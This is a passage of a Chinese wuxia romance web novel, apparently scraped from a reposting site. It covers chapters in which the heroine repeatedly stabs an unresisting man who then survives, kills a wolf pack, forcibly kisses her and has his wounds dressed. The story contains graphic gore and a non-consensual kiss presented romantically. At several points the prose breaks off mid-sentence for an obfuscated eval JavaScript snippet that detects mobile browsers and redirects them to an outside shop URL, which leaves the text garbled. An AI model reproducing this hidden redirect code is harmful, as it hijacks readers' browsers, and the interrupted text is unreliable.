就在暗器即将及身、短刃即将刺中的电光火石之间,他的身形极其轻微地晃了一下,仿佛在原地留下了一道淡淡的残影。 “叮叮叮!”数声极其轻微的脆响,怀兰射出的暗器不知怎地,竟全都偏移了方向,深深没入旁边的树干之中。怀竹那凌厉的一刺,只觉得眼前一花,手腕骤然一麻,短刃已脱手飞出,“夺”的一声钉在了不远处的石壁上。 扑至近前的陈义三人,更是觉得眼前人影一闪,一股柔韧却沛然莫御的无形气劲陡然爆发。刘勇和王成劈出的刀仿佛砍在了滑不溜秋的铜墙铁壁之上,不仅力道被尽数卸去,虎口更是剧震发麻,长刀几乎脱手。而陈义洒出的那片蒙汗药粉,竟被一股骤然卷起的旋风倒卷而回,反而向着他们三人扑面罩去! “闭气!”陈义骇然疾呼,但已来不及。三人只吸入一丝,便觉头晕目眩,四肢发软,手中的刀“当啷”落地。 紧接着,李清述的身影如同鬼魅般,在五人之间极快地穿梭了一下。动作快得肉眼几乎无法捕捉,只听得几声闷哼和重物倒地的声音。 怀兰、怀竹只觉得颈侧某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李清述脚步未停,甚至连眼皮都未眨一下。那足以让常人瞬间昏厥的药粉,在靠近他身周三寸时,仿佛遇到了一层无形的屏障,纷纷扬扬地飘落在地,未能沾染他分毫。 与此同时,贺佑宁另一只手已飞快地拔下了发间那支磨得尖利的金簪!没有任何犹豫,没有任何花哨,她用尽全身力气,闭着眼睛将闪烁着寒光的簪尖,狠狠地朝着李清述刺去! 这一刺,是她孤注一掷的反抗。 金簪破空,带起细微的锐响。 李清述没有躲闪,甚至没有格挡。他就那样静静地站在原地,目光沉静地看着她,看着那支金簪,带着她全部的决绝刺向自己的心口。 “噗——” 一声轻微的钝器刺入身体的闷响。 金簪的尖端,结结实实地刺入了李清述左胸偏上的位置,没入寸许,停住了。 鲜血,瞬间从月白色的道袍下洇染开来,如同一朵迅速绽放的妖异红梅。 贺佑宁握着金簪的手,因为用力过猛和极度的震惊而剧烈颤抖着。 她看着那没入他身体的簪子,看着那迅速扩散的血迹,大脑一片空白。 他没有躲?也没有运功抵挡?就这样……任由她刺中了? 李清述微微低头,看了一眼胸前的金簪和血迹,脸上依旧没有什么表情,仿佛被刺中的不是他自己。他甚至抬起手,用指尖,轻轻拂过簪尾莲花状的雕饰,动作轻柔得近乎诡异。 然后他抬眸,看向近在咫尺,眼中充满难以置信的贺佑宁。 四目相对。 他的目光?暗深沉,里面翻涌着贺佑宁看不懂的情绪。 贺佑宁如同被烫到一般,猛地松开了握着金簪的手,踉跄着向后跌去,背脊重重撞在树身上,却感觉不到疼痛。 她看着李清述胸前那支兀自颤动染血的金簪,看着他平静得令人发寒的面容,只觉得一股冷意从心底深处蔓延开来, 他不是很厉害吗?为什么不躲开?为什么不反抗? 难道真的想让她杀了他? 26. 血色 李清述看着她剧烈变幻的脸色,唇角竟缓缓勾起一抹极淡的微笑,诡异得令人毛骨悚然。 他微微偏头,目光落在自己胸前那支染血的金簪上,又缓缓移回贺佑宁脸上,声音轻柔得如同耳语,却又带着一种洞悉一切的残忍:“你开心了吗?还想再继续杀我吗?” “你这个疯子!” 这句话像是一把钥匙,猛地打开了贺佑宁心中某个一直被恐惧和理智压制着的闸门。 她猛地抬起头,眼中的惊恐被一种决绝取代。她看着李清述唇边那抹诡异的微笑,看着他那仿佛在邀请鼓励她继续施暴的眼神,一股前所未有破罐破摔的勇气,汹涌而至。 “嗯,你说得对。” 她的目光骤然锁定了不远处那柄掉落在地闪着寒光的长剑。 她几步冲过去,用仍在颤抖却异常坚定的手,一把抓住了那冰冷沉重的剑柄。长剑入手,远比簪子沉重得多,锋刃的寒气似乎能穿透肌肤。 她转过身,双手紧握剑柄,将剑尖对准了站在原地、面带微笑望着她的李清述。 她不想再退让了,不想再在他的疯狂面前止步。 “你不是不怕吗?那我就成全你!”说完她双手用力,将长剑狠狠刺向他的腰腹! “嗤——”利刃划破衣料刺入皮肉的声音,远比簪子刺入更加沉闷而清晰。长剑的锋刃远比簪子宽阔,造成的伤口也更大,鲜血几乎是喷涌而出,瞬间染红了他腰际的衣袍。 李清述的身体轻轻一颤,他眉头蹙紧,唇边的笑意却依旧不变。但他仍然没有反抗。他只是用那只未染血的手,轻轻按住了腰侧的伤口边缘,指缝间瞬间溢出更多的鲜血。 然后抬起头向贺佑宁,目光紧紧追随着她,那里面没有怨恨,没有愤怒,只有一种令人胆寒的温柔与纵容。 贺佑宁拔出长剑,带出一篷血雨。看着那狰狞的伤口和喷涌的鲜血,她再次举起剑,这次刺向他的大腿! “噗!”剑锋深深没入,几乎穿透。 贺佑宁拔出剑,又继续刺向他的肩头、胸前、手臂……她沉默机械地用尽全身力气,将手中这柄原本用于保护她的利刃,一次次刺入眼前这个毫不反抗的男人身体。每一剑都带出大片的鲜血,将他雪白色的道袍染得猩红刺目,也将她自己的双手和衣裙溅满温热血点。 他的脸色苍白如纸,毫无血色。修长的眉紧紧拧着,长长的睫毛不住轻颤,额头上布满了因剧痛而渗出的冷汗,俊美的侧脸线条因失血和痛苦而显得格外脆弱。每一次刺入带来的身体震颤都清晰可见。 可他自始至终,没有反抗,没有抵挡,甚至没有试图躲避。 李清述身上很快布满了深浅不一的剑伤,鲜血如同泉涌,从他的身躯各处汩汩流出,在他身下汇聚成一片触目惊心的血泊。 终于,在贺佑宁刺出了不知多少剑,双臂彻底酸软无力后,沉重的长剑“哐当”一声从她手中滑落,掉在了血泊之中。 她踉跄着后退,剧烈地喘息着,看着眼前几乎成了一个血人的李清述。 他浑身浴血,伤痕累累,生命的气息正飞速从他身体里流逝。 那张曾经如仙般令人心折的容颜,此刻苍白得透明,沾着点点血污,脆弱得仿佛一碰即碎的琉璃。 唯有那双眼睛,在涣散的光晕中依旧执拗地望着她,唇边那抹弧度竟还未完全消散,只是变得极其微弱,近乎虚无。 在贺佑宁怔然的注视下,他那双始终望着她的眼睛,缓缓地阖上了,仿佛耗尽了最后一点支撑的力量。 “哐当”一声,是身体撞在地面的闷响。 贺佑宁立在原地,她看着他倒在地上,雪白色的身影被鲜血浸染,如同折断羽翼的仙鹤,跌落尘埃。 阳光明媚,透过枝叶,在他染血的容颜和紧闭的眼睫上投下斑驳的光影。他胸口那支金簪,在阳光下反射着冰冷而残酷的光芒。 他倒在那里,一动不动。雪白染血的衣袍铺展在枯草泥土上,胸口那支金簪依旧醒目地插着,周围还有其他数个仍在汩汩渗血的小伤口。 他面容平静,甚至称得上安详,长长的睫毛在苍白的脸颊上投下淡淡的阴翳,再无丝毫声息。 山林间死一般的寂静。 贺佑宁呆呆地站在原地,她看着地上那个毫无生气的的身影,大脑一片空白。 他……死了? 被她……亲手杀的? 这个认知如同惊雷,在她混乱的脑海中炸开。巨大的冲击让她瞬间失去了所有思考能力。 他真的消失了。 以这样一种惨烈的方式,死在了她的手下。 她杀了人。 这个事实沉甸甸地压下来,让她几乎喘不过气。她缓缓低下头,看着自己还在微微颤抖的双手。 这双手,刚刚结束了一条生命。 这个认知,如同最深的梦魇,牢牢攫住了她。 四周依旧寂静,只有风吹过树梢的呜咽,阳光依旧睛朗,却照不暖她如坠冰窟的身体和灵魂。 …… 死寂的山林,被一股浓重得化不开的血腥味笼罩。 贺佑宁呆立在血泊边缘。 这令人作呕的浓烈血气,如同投入平静湖面的巨石,迅速打破了山林的宁静。 远处幽深的林莽间,开始响起一些不同寻常的声响。最初是枯枝被踩断的轻微“咔嚓”声,紧接着,是从喉咙深处发出的低沉“呜噜”声,由远及近,逐渐清晰,并且……不止一处。 贺佑宁被这突如其来充满野性和威胁的声音从麻木中惊醒。她即刻抬起头,循声望去,只见空地边缘的灌木丛后,树影摇曳间,亮起了一对对幽绿冰冷,充满饥饿与贪婪的光点。 是狼! 不止一只!三五只……不,越来越多幽绿的光点在林间阴影中闪烁移动,缓缓向这片弥漫着浓烈血腥味的空地围拢过来。 它们被血腥气吸引而来,低伏着身躯,呲着森白的獠牙,喉中发出威胁的低吼,冰冷的兽瞳紧紧锁定了空地中央——那具散发着诱人气息的尸体,以及旁边那个似乎同样脆弱可欺的活人。 贺佑宁的心脏骤然缩紧。 那些幽绿的光点越来越近,甚至能看清为首那匹灰狼油光水滑的皮毛和垂涎的唾液。 她想要逃跑,可双腿却如同灌了铅一般难以动弹,刚刚的行动已经耗费了她所有的力气。 完了…… 然而就在此时,地上那具浸泡在血泊中本该死透的的尸体,忽然……动了一下。 紧接着,在贺佑宁瞪大的眼眸中,李清述那只原本无力垂落染血的手,缓慢又坚定地抬了起来,然后支撑起了上半身。 他动作极其缓慢,仿佛承受着难以想象的重负,每一个细微的移动都牵动着身上狰狞的伤口,更多的鲜血从那些翻卷的皮肉中渗出。 但他终究一点点地坐了起来。 狼群被这突如其来的变故惊得顿住了脚步,低吼声更加急促,兽瞳中警惕与凶光交织。它们似乎也从未见过“重伤垂死”的猎物还能起身,一时有些犹疑,但血腥气的刺激和数量的优势,很快让它们的贪婪压过了谨慎。头狼发出一声短促的嚎叫,狼群开始试探性地、更加缓慢地收紧包围圈。 李清述缓缓抬起了头,黑发之下,露出一双眼睛。 那不再是之前濒死时的涣散无光,而是一种……极度压抑的幽沉,瞳孔深处,仿佛有血色暗涌。 头狼似乎察觉到了某种危险的气息,不再等待,发出一声进攻的嚎叫,率先朝着李清述猛扑过来!血盆大口张开,直咬向他脆弱的脖颈! 就在那森白獠牙即将触碰到皮肤的瞬间,李清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155039|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 述动了。 他的动作快得不可思议,与刚才缓慢起身的迟滞判若两人。那只撑在地上的手猛地一拍地面,整个人借力向侧方翻滚,险之又险地避开了头狼的扑咬,同时另一只手快如闪电般探出,不是攻击,而是抓住了地上那柄贺佑宁掉落的长剑! 长剑入手,他借着翻滚的势头,顺势一剑横扫! “嗷——!”一声凄厉的惨叫,头狼的前腿被锋利的剑刃齐膝斩断,鲜血狂喷,庞大的身躯失去平衡,重重摔倒在地,发出痛苦的哀嚎。 这一下,彻底激怒了狼群,也点燃了血腥的杀戮。 数匹灰狼从不同方向同时扑上! 李清述半跪在地,长剑在他手中仿佛活了过来。剑光并不花哨,却快、准、狠到了极点!每一剑挥出,都必然带起一篷血雨和野狼的惨叫。 他显然伤重至极,动作远不如全盛时期流畅,甚至有些踉跄,但他对时机的把握和对自身力量的控制,已然到了匪夷所思的地步。总能以最小的动作幅度,避开最致命的攻击,同时给予对手致命的还击。 剑光闪动,鲜血飞溅。 一头狼被他刺穿了咽喉,另一头被他削去了半个脑袋,还有一头试图从背后偷袭,被他反手一剑捅穿了腹部…… 他身上的伤口因为剧烈的动作不断崩裂,鲜血将他染得更加猩红,但他仿佛感觉不到疼痛,那双眸子里的冰冷火焰燃烧得愈发炽烈,仿佛要将所有的生命力都在这一刻燃烧殆尽,化作杀戮的力量。 贺佑宁蜷缩在一棵大树背后,双手死死捂住嘴,看着眼前这血腥至极的一幕。 那个本该是尸体的男人,如同从地狱归来的浴血修罗,在狼群中拼死搏杀。 他不再是人,而是一抹游走于生死边缘,由纯粹杀意驱动的红色幽灵。身影在狼群中穿梭,每一次停顿,都伴随着骨裂筋断的闷响和凄厉的狼嚎。他的动作快得只剩残影,狠得令人胆寒。 鲜血,更多的鲜血…… 不仅有狼血,更有他自身伤口在剧烈运动下迸裂涌出的血。他浑身上下,每一寸都被浓稠的红色覆盖,早已分不清哪些是他的,哪些是狼的。 破碎的衣袍贴在身上,被血浸透,往下滴淌着血珠。他脸上也糊满了血污,只有那双眼睛,黑得发亮,亮得骇人,在血色的背景下,如同深渊中燃起的两点鬼火,冰冷地映照着这场单方面的屠.杀。 狼群的嚎叫从凶残转为恐惧,试图四散奔逃,但那红色幽灵如影随形,毫不留情地追猎终结。林间空地仿佛变成了炼狱屠场,残肢与内脏散落,浓烈的血腥气几乎凝成实质。 最后一声短促的哀鸣消失。 李清述站在空地中央,脚下是狼尸堆积的小丘,粘稠的血泊漫过他的脚踝。他微微垂着头,胸口那支金簪随着他剧烈起伏的喘息轻轻颤动,更多的血从簪子周围和其他狰狞的伤口涌出,顺着破烂的衣料滴落,在他脚下汇成小小的血洼。 然后,他极其缓慢地抬起了头。 目光穿越弥漫的血雾,直直地落在了贺佑宁脸上。 那一刻,贺佑宁屏住了呼吸。 他整个人一片血红。 是那种刚刚从血池里捞出来,淋漓浓烈的红。红色覆盖了他所有的表情,所有的伪装,只剩下最原始的存在,和那双深不见底、仿佛要将她连同这片血腥一起吞噬的眼睛。 他看着她,沾满血污的嘴唇似乎动了一下,但没有声音。只是那眼神,在无边的杀意与死寂之下,似乎又浮起了一丝极淡到几乎无法捕捉的…… 她看不懂的情绪。 然后,他向前迈了一步。 踩在血泊里,发出“啪嗒”一声轻响。 贺佑宁浑身冰冷,连骨髓都在颤栗,却动弹不得,只能眼睁睁看着那片吞噬一切的血红,朝着自己一步一步走了过来。 27. 吻 他走得每一步都带着粘稠的声响。 最终他停在了贺佑宁面前,距离极近。浓烈的血腥气混合着他身上冷冽的气息,将她彻底笼罩。 贺佑宁想后退,想逃离这片刺目的红和那双深渊般的眼睛,但双脚如同被钉死在染血的土地上,连指尖都无法挪动分毫。 他缓缓抬起一只手,动作带着一种奇异的轻柔,仿佛怕惊扰了什么,染血的指尖慢慢触上她苍白的脸颊。 冰凉、粘腻、带着死亡和杀戮的触感。贺佑宁猛地一颤,闭上了眼睛,睫毛止不住颤动。 他的声音响起了,嘶哑得如同沙砾摩擦,气息微弱却异常清晰,每一个字都像渗着血,“我方才在你面前已经‘死’过一次了。” 贺佑宁倏然睁眼,撞入他近在咫尺的眸中。那里面的血色似乎褪去了一些,露出底下深不见底的漆黑,依旧冰冷,却不再有屠戮时的疯狂,只剩下某种她无法理解的执着。 他的指尖沿着她的脸颊轮廓,极其缓慢地移动,留下一道湿凉的血痕。 “过往恩怨,都在刚刚清算完了。”他幽暗的眼眸在满面的血污中更显骇人,可他的目光却死死锁着她,不容她逃避,“从此刻起,一切重新开始。” 重新开始? 贺佑宁脑中一片轰鸣。 怎么可能重新开始?这满地的狼尸,他满身的伤口,她手上的血,他胸前的簪子……这一切,如何能当作没发生? 然而,不等她有任何反应,甚至来不及消化这荒谬的言论,李清述的头便缓缓低了下来。 他的气息混合着浓重的血气,扑面而来。贺佑宁僵直着,看着他染着血的唇越来越近。 先是冰冷粘腻的触感印在了她的唇上。然后是更深重的血腥气,带着一丝微不可察的冷香,蛮横地侵入她的呼吸。 他的唇瓣摩擦着她柔软的唇,动作生涩而固执,仿佛这不是一个吻,而是一个烙印,一个用血刻下的新起点。 贺佑宁的瞳孔骤缩,全身的血液似乎瞬间冲上头顶,又在下一刻冻结。她应该推开他,咬他,用尽一切力气反抗这个沾染了死亡与疯狂的触碰。可方才一连串的冲击,抽空了她所有的力气,甚至连思绪都停滞了。 她知道她推不开,而他也不会容许她推开。 她感受着那冰冷血腥的触感,一点点渗入她的唇齿,浸透她的感官。 他紧紧贴着她的唇,另一只染血的手不知何时,已带着不容挣脱的意味按在了她的后腰处,将她禁锢在这方寸之地,无法动弹。 极近的距离,他幽黑的眼睛依旧望着她,里面的疯狂卷土而来,一层更加汹涌令人心悸的漩涡浮起。 贺佑宁在他的注视下连呼吸都屏住了。 他的唇带着未干的血腥气和灼人的热度撬开了她微张的齿关。带着不顾一切的占有欲,瞬间席卷了她的所有感官。他的舌长驱直入,攻城略地,地扫过她口腔的每一寸,纠缠着她的舌头,迫使她与之共舞。 动作毫无章法,只有一种近乎原始的,想要将她拆吃入腹般的激烈。与其说那是亲吻,倒不如像是撕咬与吞噬,带着一种濒死般的疯狂。 贺佑宁闷哼一声,双手抵上他血迹斑斑的胸膛,触手是湿冷粘腻和布料下紧绷肌肉的震颤。她想推开,指尖却陷入那被血浸透的衣料,触碰到底下翻卷皮肉的边缘,一阵战栗。 她的推拒仿佛刺激了他,他按在她后腰的手猛地收紧,力道大得仿佛要将她揉进自己的怀里,紧贴着他身上那些狰狞的伤口和冰冷的金簪。血腥味在两人紧贴的唇齿间弥漫,他的呼吸粗重滚烫,喷在她的脸上,与她自己混乱的气息交织。 贺佑宁几乎要被他狂暴的气息和无处不在的血腥味所淹没。 然而就在她以为自己要被这狂暴彻底吞噬时,他的吻毫无预兆地变了。 仿佛疾风骤雨蓦然停歇,滔天巨浪缓缓退去。他攻城略地的力道一点点松懈,那粗暴的撕咬和吮吸,逐渐化为一种缓慢的摩挲。 抵死纠缠的舌尖放开了对她的钳制,转而以一种难以言喻的轻柔,描绘着她唇舌的形状,带着一种近乎虔诚的细致,舔舐过她齿列,抚慰着方才被粗鲁对待的感感。 按在她后腰的手力道也松了,从几乎窒息的桎梏,变成了紧贴的环抱。 他整个人的气息都变了,那股同归于尽般的疯狂戾气悄然消散,取而代之的是一种微弱却真实的柔情。 他的吻变得绵长而缱绻,依旧带着浓得化不开的血腥气,却奇异地揉进了一丝温柔。他轻轻含住她的下唇,染血的指尖不知何时离开了她的脸颊,虚虚地落在她的颈侧,拇指带着无限怜惜般,轻轻摩挲着她跳动的脉搏。 这一瞬间的转换太过突兀。 从极致的暴烈到极致的温柔,中间没有任何过渡。 贺佑宁僵在他怀里,他们之间萦绕在彼此交.缠的呼吸里,比方才的狂暴更让她心悸。 陡然间,贺佑宁感觉到自己被一股力量托起。 李述将她打横抱了起来。 他的身体带着隐忍的滞涩,但却走得很稳,避开了地上横七竖八的狼尸和粘稠的血泊,径直朝着密林更深处走去。 贺佑宁靠在他冰冷染血的胸膛,耳边能听到他微弱的心跳,鼻端充斥着浓得化不开的血腥味。 她闭着眼,眼前却依然是那片刺目的红,和那双幽暗的眼睛。 不知走了多久,似乎传来隐隐的水流声响,清冽的气息稍稍驱散了一些血腥。 李述停了下来。 贺佑宁感觉到自己被轻轻放下,脚下是松软潮湿的苔藓和细沙。她睁开眼,发现自己身处一处隐蔽的山坳,一道不大的清泉从岩壁上潺潺流下,汇入下方一湾清澈见底,泛着幽幽寒气的潭水中。 泉水叮咚,四周是蕨类植物和青苔,与方才那片血腥屠场判若两个世界。 李述就站在她面前几步远的地方,背对着她,面向那湾清泉。 他依旧浑身浴血,雪白色的道袍早已看不出原本颜色,紧紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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水漫过了他劲瘦的腰身,淹没了胸腹那些狰狞的伤口,最后,连他颈项之下,那支刺目的金簪和苍白却俊美得妖异的面容,也缓缓沉入了清澈的潭水之下。 水面荡开一圈圈涟漪,由剧烈到平复,最终只剩下微澜。清澈的泉水下,隐约可见他静止的身影,和慢慢从他身上晕染开来的淡红色血丝,像水底悄然绽放的妖异的花。 他坐在靠近岩石处,墨黑的长发失去了束缚,如同最上等的绸缎,随着极微弱的水流无声散开,几缕浮荡着,轻柔拂过他苍白的脸颊和颈侧。 他的睫毛很长,湿漉后更显浓黑卷翘,在眼睑下投着两弯静谧的阴影,水珠凝在睫梢,欲坠不坠,仿佛含着泪,却又冰冷无情。鼻梁挺直如雪峰裁玉,水光顺着脸侧流畅的线条滑落。 他静静地沉在那里,墨发飘散如海妖,面容俊美得惊人却又毫无生气,上身伤痕累累,既展示着最暴力的摧毁,又因水的柔化与光的雕琢,显露出一种触目惊心的破碎之美。 他没有看她,仿佛她无关紧要。 28. 上药 水面平静如琉璃,倒映着枝叶与天光,也倒映着泉边立着的纤细人影。 贺佑宁看着水里那具近乎完美的躯体,心跳莫名有些乱。 她有些想离开这里。 “你要不要也下来清洗一下?”男人低哑的嗓音带着水汽浸润后的微凉,突兀地越过水面传来。 贺佑宁:“……不” “好吧。” 李清述望着她,眼中没有任何情绪,似乎只是随口一问,随后他不再看她。 然后修长的手臂从身侧抬起,带起一串晶莹的水珠。水流顺着他苍白却肌理分明的手臂滑落。左胸那支金簪随着动作微微颤了颤,他仿佛毫无所觉。 他掬起一捧清澈的泉水,缓缓淋在胸膛。水珠滚过他宽阔平直的肩膀,沿着锁骨的深刻凹陷汇聚成细流,再向下淌过紧实匀称的胸肌。 常年清修蕴出的劲瘦肌理在水光下显露无遗,并非贲张的虬结,而是线条流畅蕴含着内敛力量的美感。水冲刷过那些狰狞的伤口,他指尖极轻地拂过剑伤周围,动作冷静得不像在对待自己的身体,而像是在清理一件破损的器物。 水流反复冲刷,洗去最后一丝血污。 他侧过身,开始清洗臂膀和腰腹。侧腰的肌肉线条收束得利落漂亮,随着他微微倾身的动作而绷紧,像拉满的弓弦,又因遍布的伤痕而显出脆弱的张力。水珠在他紧窄的腰腹间跳跃,滑过人鱼线没入水下,落进身下的墨色绸裤。 每一寸肌肤都被冰冷的泉水抚过,唯有左胸那支金簪,他始终没有触碰。任由它如同一个诡异的装饰,钉在那片苍白之上。 终于,他停了下来。 水面因他的动作漾开层层涟漪,打碎了完美的倒影。 他踩着泉底的卵石,一点点站了起来。 “哗啦——”水声骤然响亮。 大片的泉水从他身上倾泻而下,他赤.裸的上身完全暴露在空气与天光之下,湿透的墨黑长发黏贴在苍白的背脊胸前,蜿蜒如诡谲的纹路。水珠争先恐后地从他流畅的肩线锁骨和紧实的腹肌上滚落,沿着伤痕的沟壑流淌。 他慢慢走向泉边,宽阔的背肌线条清晰,脊柱沟深陷,腰身劲瘦。湿透的绸裤紧贴着一双笔直的大长腿,滴滴答答地淌着水。 天光毫无遮挡地落在他身上,此刻的他犹如一尊刚刚从水中打捞起的破损神祇雕像,带着未干的水汽与未散尽的死意,重返人间。 他就这样一直走着,直到来到贺佑宁面前,然后停了下来。 他眼眸低垂着,浓密的睫毛上还挂着细小的水珠,在贺佑宁还没来得及反应或后退的瞬间,他身子一倾,将头轻轻靠在了她的肩上。 突如其来的重量和冰冷的湿意让贺佑宁身体一绷。他身上浓重的血腥气被泉水泡淡了,变成了一种属于水底的清冷腥气,还有一丝极淡的冷香,直往她鼻子里钻。他的皮肤隔着两人单薄的衣物,传来惊人的寒意。 “……好冷。”他的声音响在她的耳畔,气若游丝,带着虚弱之意,“我好像真的要死了。” 这话语里的示弱和濒死感太过真切,配合着他此刻全然依赖的姿态,竟让贺佑宁的心跳漏了一拍。 但贺佑宁总觉得他不会就这样死去。 她把声音刻意放得又冷又硬,甚至带上了一丝刻薄:“可是你死了对于我来说,难道不是一件好事吗?” 靠在她肩头的人,似乎极轻地笑了一声。笑声短促,仿佛只是气息的震动。 他靠着她肩膀的重量又沉了一分,声音再次低低响起,这次更轻:“东南边那片岩壁下面,长着暗紫色的三叶草,汁液对伤口有点用。” 话音刚落,靠在她肩上的人仿佛彻底失去了意识,整个人重重压在她的肩头,接着向下滑去。 贺佑宁下意识地伸手揽住他的腰,触手是湿冷紧实的肌理和清晰可辨的骨骼轮廓。他双眼紧闭,长睫湿漉漉地覆盖下来,呼吸微弱得几乎察觉不到,仿佛真的已经昏迷了。 贺佑宁扶着他冰冷沉重的身体,一时有些无措。 山风穿过林隙吹在她脸上,也吹动他贴在她颈间的湿透发丝,带来阵阵寒意。 贺佑宁低下头,看着他苍白的侧脸和毫无血色的唇,以及左胸上那支依旧刺目的金簪。 他死了,确实对她有利。 至少,眼前这个无法掌控的大麻烦和大威胁就会消失了。 可是……他也的确救了她一命。 虽然出现如今的境地,也是他造成的…… 贺佑宁咬了咬下唇,目光不由自主地瞥向他所说的东南方向。 片刻的挣扎后,她小心地将他放倒在岸边一块相对干燥平整的草地上,让他仰躺着。他的身体接触地面时,发出轻微的闷响,眉头似乎因牵动伤口而极轻地蹙了一下,随即又归于沉寂。 贺佑宁站起身又看了他一眼。 那病弱而安静的模样,在斑驳的光影下,竟有种易碎的美感,仿佛轻轻一碰,就会彻底化为飞灰。 “……罢了。”贺佑宁低语了一句,终究还是转身,快步朝着东南边的岩壁走去。 岩壁下阴湿处,果然生着一小片不起眼的暗紫色三叶草,叶片肥厚,散发着淡淡的苦涩清香。贺佑宁认得这草药,确实有收敛止血、缓解疼痛之效,但于他那么重的伤势,尤其心口那致命处,恐怕也只是杯水车薪。 她快速采了一把长势最好的,然后回到他身边。 他依旧昏迷着,唇色泛白,呼吸微弱。贺佑宁蹲下身,将草药放在干净的石头上捣烂,捣成带着清苦汁液的糊状。 她看着他一身的伤,尤其左胸那骇人的金簪,犹豫了片刻,决定先从其他较深的剑伤开始。 她伸手,指尖有些发凉,轻轻拨开黏在他伤口附近湿冷的墨发和破碎的衣物。他胸膛上的肌肤冰冷而紧绷,伤口被水泡得边缘发白,微微翻卷,露出底下更浅的肌理。贺佑宁定了定神,用洗净的叶片舀起一些草药糊,小心地涂抹在那些翻卷的皮肉上。 冰凉的药糊触及伤口,昏迷中的人似乎瑟缩了一下,喉咙里发出一声极低弱的闷哼,眉心也蹙紧了。 贺佑宁的手顿了顿,动作放得更轻,尽量均匀地将药糊敷在几处主要的伤口上。深紫色的药泥覆盖了狰狞的苍白,散发出苦涩清凉的气息。 轮到左胸金簪周围的伤口时,她的手悬在半空,迟疑了。那处皮肉肿胀,颜色不祥,金簪深深嵌入,触目惊心。她不敢碰那簪子,最终只将药糊薄薄地敷在簪子周围的皮肤上,以及那些辐射状的细小裂痕处。药汁顺着他的胸膛缓缓流下,与未干的水痕混合,留下道道蜿蜒的紫痕。 做完这一切,贺佑宁收回手,看着那深紫色的药泥覆盖在他苍白如冷玉的肌肤上,形成一幅更加诡艳而破碎的画面。 她说不清自己此刻是什么心情,只是默默地坐在一旁,望着林隙间逐渐西斜的光,听着泉水潺潺,以及身边之人那微弱得几乎听不见的呼吸。 他静静地躺着,像一具被临时修补却依旧残破的祭品。 但愿她刚刚涂抹的草药,或许能延缓他的死亡。 不知过了多久,斜阳将树影拉得老长,暖金色的光线透过枝叶,斑驳地洒在昏迷不醒的人身上,也落在静坐一旁的贺佑宁肩头。 她一直保持着同样的姿势,目光时不是落在李清述身上。 忽然,那覆盖着长睫的眼睑,极轻地颤动了一下。 贺佑宁立刻察觉,身体微微绷紧,视线定定地落在他脸上。 他的眼眸缓缓睁开,好一会儿,眼珠才极其缓慢地转动,眼神最终落在了贺佑宁脸上。 那双眼睛里的迷雾似乎散去了些许,恢复了惯有的平静,只是脸色依旧虚弱苍白。 他动了动手指,然后手臂撑着地面,极其缓慢艰难地坐起了身来,最终挺直了腰身。 他抬眼看向贺佑宁,声音依旧低哑:“该送你回去了。” 贺佑宁一愣,几乎以为自己听错了。她看了看他苍白如纸的脸色,覆满药泥却依旧可怖的伤口,尤其是那支稳稳嵌在左胸上方的金簪,仿佛随时能夺去他最后一丝气息。 “你……现在这副样子?”她忍不住开口,语气里带着明显的怀疑和一丝她自己都没察觉的复杂,“……可以吗?” “没事,敷了药。”李清述道。 贺佑宁心头猛地一窒。她知道这不过是寻常的止血草药,对于他心口那样致命的贯穿伤,能起到的效果微乎其微,顶多能延缓表浅的渗血。 她抿紧了唇,不知该说什么好。 “走吧。”他慢慢站了起来,声音平稳,看不出异样,仿佛重伤濒死的是别人。 贺佑宁默然起身。 李清述揽住她的腰,动用了轻功。只是他的身法与平日里的飘忽鬼魅截然不同,变得滞涩而沉重,每一次借力腾挪,都带着明显的迟滞。 他掠行的速度并不快,但方向明确,正是朝着贺佑宁所居庄子的方向。 暮色渐渐弥漫,庄子轮廓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺佑宁深深看了他一眼,嘴唇动了动,终究什么也没说。她转身,头也不回地朝着不远处的庄子行去。 夏风拂过她的脸颊,带着竹叶的清新和一丝越来越淡的血腥气。 她没有回头。 就在她身影消失的刹那,竹林深处,仿佛凭空出现一般,一道黑影悄无声息地落在李清述身后三步之处。 来人全身笼罩在不起眼的灰衣之中,气息收敛得近乎不存在,甫一落地,便单膝跪地,姿态恭敬至极,手中稳稳托举着一个黑漆托盘。 托盘上整齐叠放着一套玄色暗纹的锦缎外袍,质地华贵,与此刻此地格格不入。袍子旁边,是一只小巧玲珑的白玉瓶,瓶塞紧封。 李清述没有回头,只是向着托盘的方向微微抬了抬指尖。 跪地的暗卫立刻会意,身形未动,托盘却平稳地向前滑了一尺,恰到好处地停在他触手可及的位置。 李清述拿起白玉瓶,精准拔开了瓶z口的塞子,一股清冽中带着苦涩辛香的药味立刻弥漫开来,与周遭的血腥气形成奇异对比。 他倒出一颗龙眼大小、色泽深褐的药丸,看也未看便送入自己口中,喉结滚动咽下。 没过多久,胸膛处那个骇人的血洞,涌出的鲜血也骤然减少,甚至边缘的皮肉有了微微收缩的迹象。 